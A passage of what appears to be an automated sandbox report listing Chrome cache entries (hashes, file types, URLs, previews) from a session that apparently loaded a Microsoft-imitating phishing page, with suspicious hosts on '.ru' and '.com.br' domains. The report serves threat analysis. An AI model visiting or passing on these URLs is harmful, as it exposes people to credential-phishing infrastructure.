p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57678
Category:	downloaded
Size (bytes):	16378
Entropy (8bit):	7.986541062710992
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:hOBKJB11Y8heariIQ8ki
MD5:	FC8A7FB6FB26ADEB81D76A33DA13B815
SHA1:	ADEF9857A4FC698836B613252AE8B1FC0EC199DE
SHA-256:	A3D6351A6E93FC23C2A3ABFFCBDC847D42B8781DBFFBCCEEF4FEF72E0D5D4A14
SHA-512:	DE70865494E5D2A32353614CC7D8305CAA83E1605F6BF03C58DD6E19D92FDE8B33B3E26ED3A65D739DEA20984130D39B6E43641B04918CC906DEC17E51B0D582
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru/62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN
Preview:	1

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (4438), with CRLF line terminators
Category:	downloaded
Size (bytes):	14435
Entropy (8bit):	5.9131707284581765
Encrypted:	false
SSDEEP:	384:zaBlnIL7Pf+i3dZWVaRx8/I5QZbLP4IUygWjKoQOwa:qln253dZW4RWiQZfPNUygWjKo9wa
MD5:	CEF381F1DC224A207A3D349DDCF14973
SHA1:	59FC5CDE8FE9761A26DF5D82F4571F8B8A5B76B7
SHA-256:	AB8B68DB6BF99359A5903F3D6C57CD4B8C6C670A989A6980E4B1442FCED57010
SHA-512:	78750AC99CDE893FCE56F08E4B79E188D11BC0B425D34696E20D5314231E931E37D7A7B9902D63BEA40DEDD6FCDDBDC61FFBC35A1E2B01BA420CD038539ABFFE
Malicious:	false
Reputation:	low
URL:	https://socnpj.com.br/team-drive/Organization/privacy/index_.html
